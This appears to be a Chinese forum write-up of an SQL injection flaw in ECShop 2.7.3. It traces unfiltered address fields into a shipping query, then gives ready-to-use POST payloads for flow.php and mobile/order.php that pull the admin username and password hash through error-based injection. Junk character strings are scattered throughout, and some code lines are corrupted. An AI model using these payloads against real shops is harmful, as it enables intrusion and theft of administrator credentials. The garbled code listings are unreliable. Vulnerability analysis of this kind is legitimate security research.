前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
* p0 W' {; g9 {6 P9 M3 _+ l
2 f X1 ^0 [; z+ g% y 漏洞关键文件:, X. ~' i: D3 B
' |! r9 U/ p4 o; U /includes/lib_order.php& g5 X: w2 c! l* a: O" i
) j- M) t6 w* ]" g/ ?; F2 U 关键函数:
, s- Z+ U" u! X# O' N. `0 } n3 p" Q; K B. B
# X' Y' c" d7 e& ^" j6 z9 ?. \% F: c# `+ ^
01 function available_shipping_list($region_id_list) 7 c8 L8 A- J& U! _; Z
7 R- p: K/ X: O' u! V( c7 I+ E
02 {
* l$ S/ m4 ~# K/ Y
0 [' {: G' D7 }3 Y03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . % T; b7 @ `$ `
, ?7 U7 J9 t6 k( } C! g/ e% ]2 y
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
4 f4 Z* ~4 q8 p) n7 o6 g( H, Y( V1 I, y8 }2 a, _8 F- }
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
; w( y/ x+ ^' T$ u, K: L. s$ z9 U f8 e. @6 i+ f& Z# @
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
7 z \; R- w/ h. Q: H) c' b$ A. M, v. Z5 }, V( U
07 $GLOBALS['ecs']->table('area_region') . ' AS r '. + G! ?+ s# I+ K' v1 D
. S: K- A. @0 x3 r: I
08 'WHERE r.region_id ' . db_create_in($region_id_list) . 0 i5 s% A$ Z d
' E: o! T0 H9 ?! A( E2 Q1 U+ ^
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 3 c/ i6 G8 u* t
a" Q5 z) e! R; `10
% I( n1 A4 [2 k' y- L% G6 C9 ^
" T# W! W: b" B- d4 J11 return $GLOBALS['db']->getAll($sql);
, |3 _- C- ~) q; L: F- Z% r D g W& a, m" A5 Q4 z
12 }
* Z& V# |! R, p P1 m- @$ P' U$ K" [& N6 F" o8 ^; p
显然对传入的参数没有任何过滤就带入了查询语句。
1 z/ v2 Q4 R% ~" M# h- g/ H. @; M) y D $ X! N! i; \) `' Z9 w
下面我们追踪这个函数在flow.php中:
Y" Z* X( y% P7 u6 g0 W) P) f$ y* a 第531行: 4 E- e' P. I2 R$ }# e% n
# T2 V& e# `/ A5 r
1 $shipping_list = available_shipping_list($region);
* A0 u, C/ m) |0 d8 d/ }5 v
; D6 t' D/ m: h+ C 3 m% z8 v& i7 U/ |
7 W$ o; w* f: w: C) \ " Q" @) T5 I5 ] p
: [# s+ s( B4 V, A! {
再对传入变量进行追踪:
4 F7 ?4 C! Y. y: o, u
" d. K/ W& Z# i! j第530行: % s" ~5 Q4 D* B' z1 h# o; r) S
7 W6 |/ T, M9 k* d1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); * u! g# ^4 G" K+ G" e' ^5 H* C
& C6 m) d! E. C( a+ k1 t0 Z 0 U) N5 j9 |1 H- D" m
2 A. a5 P1 I |% l) F" k5 ^( o3 D
/ e" Q: E$ h, m+ X% e( R% t! ^7 }5 k
第473行:
7 T; x; L8 w3 r5 k0 v5 U R1 f b
. U$ e/ A! S } K1 $consignee = get_consignee($_SESSION['user_id']);
0 h7 E! M/ v: q2 F6 n1 ~/ R9 ~& g2 y: U0 r& J; @9 l/ q( e
到了一个关键函数:
4 J+ b4 x3 \8 r L' ~& T( m
) { n1 r% P* ]$ Q6 S5 B/includes/lib_order.php
- f+ e) m% K8 d9 J+ k' f. n S0 L& O1 d0 ] D
) _" ?! r8 U; N7 l, `; O
; D. n# q5 @, x8 ~/ h# F
) Y2 v& |! E' i/ b0 V+ M
9 `( Q7 F+ k9 Y! Z01 function get_consignee($user_id) 6 @& {1 X7 @* h4 q2 \) `0 E( T
, O; z& V7 A/ @" \: W4 C0 @1 N
02 { 7 l1 a* i4 x; S6 u& H" ~# H
! {4 D* r) P- o8 M03 if (isset($_SESSION['flow_consignee'])) ' L$ B. C) ~5 t/ U$ @& s4 a& x
5 x& V& }$ u! Z) W1 B04 {
( ~# q6 e/ X" i4 s, I2 h- A" O* A* p: j6 A/ ]2 y5 E; @4 c
05 /* 如果存在session,则直接返回session中的收货人信息 */ A0 G* C# J3 t! C
# ]' V+ q5 G0 e% V
06 4 E& S% N. e+ n. b- b
4 P$ i/ o9 {" l1 p' O* l) d/ ?+ l07 return $_SESSION['flow_consignee']; 7 k1 s. d* _: Q5 M
" K$ t# |2 c3 f3 w' N2 F5 K
08 } , Z3 Q# z+ ?5 t+ h; e* M
1 E8 U; C# m) `- _& X' f
09 else
. [# _5 H' Q7 N& F
+ v$ G9 q \$ ^10 { / O# u4 T, e% ]! b7 W
1 ^+ H; e4 z# j7 e" ^; o1 X/ l" p11 /* 如果不存在,则取得用户的默认收货人信息 */
9 n1 Y, S6 A! V; { O% h
% F* \% e1 H) B6 F6 ~; u12 $arr = array();
/ p9 t' r n) Z7 X2 G: {8 u
. T$ I5 w* k2 @- |( Y, y" N13
; I- f& I! _# @# E1 D* s2 C! a1 a* }0 G8 B) J+ k2 o9 K: ~
14 if ($user_id > 0) , A! g9 b- n1 U
) C+ q, t/ c2 V7 ?' i3 w$ f
15 { 1 ^- S0 g1 k O ^0 k1 o- p$ R
4 t ]: B, K4 j7 e2 Q) U$ z
16 /* 取默认地址 */ + v. H# e. `4 Y# x5 B, r3 x& C( z
5 |- T1 N+ ]$ {' T
17 $sql = "SELECT ua.*". * q Y+ l9 [& M) f, A
' H7 a: I) |! A7 S, D3 N2 \
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
. r, N0 e+ s% w/ ]; ]6 c4 X3 h5 c4 V
* W$ {( j9 P3 V/ T: C5 R19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 2 L! E* q! T; {# |
8 ^# U. w% [1 g; y! p& c+ k* Q
20
% f( y2 k1 c5 u* u: R6 I
6 L+ j$ x5 h" V21 $arr = $GLOBALS['db']->getRow($sql);
/ O& G7 q# ?0 n5 X
5 w2 V6 c5 v0 x" ]' T7 |22 } ( ~4 G; O) A3 x- p
; t* {! ^1 U+ I3 h
23 5 A5 ^) w0 f% g4 s$ X- e7 u
6 D$ q: O9 T! {$ n r1 v24 return $arr;
5 J D( ~' K7 Z! e2 M$ n
y) Y8 k& D S+ g! ~25 } : |+ z, V- a, C. ^% D8 X8 X- {0 T
' t; ^) g- v [0 T4 m6 N1 [ i( Y26 }
+ C" g& I/ |# u! a
& k; E1 s7 W: K3 |, E8 K9 E* p( V显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
9 Y/ O9 ] W: G7 j1 d6 E8 r' l. Q0 ?! W" n2 {
$ g2 x. b/ q* _- k; r8 Z5 N4 j
! U3 \$ p: a$ [& @5 d; O) P关键点:6 N" `# U/ |6 A n
) r: k4 k- ?- ~! w f
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);' D$ t6 s& t: D
, O+ R& X& F! i
这里对传入参数反转义存入$_SESSION中。
5 v. C! Y2 z ~0 F$ N r0 S& g: Q2 D4 c3 O2 S5 s' L& S' c
6 w9 Q3 z/ o* g, s0 b1 j- S' e" x$ ~$ ^
然后看下:+ S+ f$ D4 s6 u% I
, ~5 [# e& ~& g) v- `, K; z3 D * _0 o. V* i) n& z4 y
' K" @; o! W! C0 u7 J; h* a
. o: Y& @. y" w! `6 i. z/ H; |
6 V. q2 ^5 ?& J; y01 $consignee = array( * ]- T' \. t. P% `( ~2 K6 N6 x4 W/ h2 F
; r1 x* [ l( [. x0 ~$ t02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
2 d+ W+ n+ S) m1 y* X; B% y8 K6 Y8 O4 J l
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
! n% w% C$ C* c: i; t, X
# S6 c) L( S4 `- @9 e6 C. S" X04 'country' => empty($_POST['country']) ? '' _POST['country'],
+ h9 a f( F) Y1 f' [6 g# O( K2 A8 m" ?. m: B4 V/ R
05 'province' => empty($_POST['province']) ? '' _POST['province'],
& w& b0 }+ Q9 g& j7 P7 M. d% w C+ S I0 w2 S) O
06 'city' => empty($_POST['city']) ? '' _POST['city'],
8 n+ {4 M$ ?* F* g1 x4 c8 D0 C, \# `5 s
07 'district' => empty($_POST['district']) ? '' _POST['district'],
+ ?% A8 R' f" u1 p. G& ~; E: _0 d
; F( v) ^, k* R& v0 D' R08 'email' => empty($_POST['email']) ? '' _POST['email'],
- v! E0 ?/ m0 o- u4 P7 r/ b8 t% H% F J8 v
09 'address' => empty($_POST['address']) ? '' _POST['address'],
2 J) ~; ^3 t6 @; l; ?& u1 A0 ]' g. D6 J0 T9 q
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
3 I9 o. w$ ]! D( b* z- G. w
! f1 p' \0 X. f( k, ?4 ~6 ~11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])), _( V" F% k3 d4 n
, h" ^: V. e% C12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 4 Y) |# P! {- x" i i# ~: c
7 `. O9 c2 l% ~) P' w2 u5 S7 D6 u13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ; E2 J7 q: g9 j, Z: E
4 z/ B7 x* p) h9 w8 K* o14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], & [; A" q/ k0 z! c# Y
7 K+ u/ U, c7 X/ |, q8 ^15 );
8 }& a- U0 ^! b1 z$ k. Z5 r
: N K' X- E- R/ F好了注入就这样出现了。
* S7 e' t) v( c& Q$ I9 |$ x7 M4 p5 x4 k- z
==================
/ f1 ]+ A: v# z( J+ g! @) m$ q; n7 d' G# W) C
注入测试:
7 m: P6 F$ j- l/ p& z" Y, C- \
& O+ |6 {4 g6 @. k环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
, d6 R; x2 B7 ]/ \0 w- f
. i! ~% L, [' x* c( Z7 z9 B8 J测试程序:ECShop_V2.7.3_UTF8_release1106
* [1 W2 P1 V! z; _4 Q: f; _+ T' M* W6 M) e0 Q3 a9 Y y
% D G4 l2 s" G1 v2 T; {
6 G; i2 z$ _2 k: _1.首先需要点击一个商品加入购物车
, D; g! R8 W" u8 p! T6 G9 y% w% C7 a5 [0 f2 R
2.注册一个会员帐号
4 {$ r7 t0 q5 U8 C- W
- M% h/ ]2 y4 }- X! p3.post提交数据
3 i8 Z* s% Z) K5 e A$ S" q( h- ?' w: @' a; |/ B4 ]: _
$ I5 C% F0 H0 p) P2 l8 O! [3 X5 c9 O
1 http://127.0.0.1/ecshop/flow.php 3 l0 W/ |2 N N b( e
% a& j; J# Y: h4 w2 ; O- }% p# \6 N- H9 h0 H
. b. T( O6 A( a
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ' f2 b) E4 @5 }# e+ |
举一反三,我们根据这个漏洞我们可以继续深入挖掘:& k+ Z2 v1 \, w$ U9 `
) [/ z+ g4 }2 Z我们搜寻关键函数function available_shipping_list()
) d5 X6 n/ Y$ ~9 o- b% c8 ^# Q4 G4 z, S) n, f* E
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同8 d9 h, ~* y0 s n; x" J! m& U
$ q- f; N% t" _ ~' F; P! A, t. h
利用exp:
0 O5 j4 `6 S# s' ^ j
2 n# Q( u1 d& r/ h1.点击一个商品,点击购买商标4 k1 b0 U$ U0 e* j
8 ?- ^- w( k& e! f6 b7 q3 ]2.登录会员帐号
' J6 M! s" L" H; N' ?* t5 w
' _5 ~7 R( h# A$ I6 m3.post提交:% \4 ^3 c7 j" I! c) e
3 F( y' s$ t) p% a
http://127.0.0.1/ecshop/mobile/order.php
+ O* s1 R, C0 _3 E9 p
2 S3 R7 Q6 m5 f5 \! ^, q& t 6 n( K7 G& r' v5 C0 K- d
( ?% ?' m1 D: i8 f2 z6 O5 r/ Y7 ?country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
0 J+ S5 ]: L# Y0 F. Q2 d" Q4 |3 M4 o
5 c( |6 m' w% H" `/ q |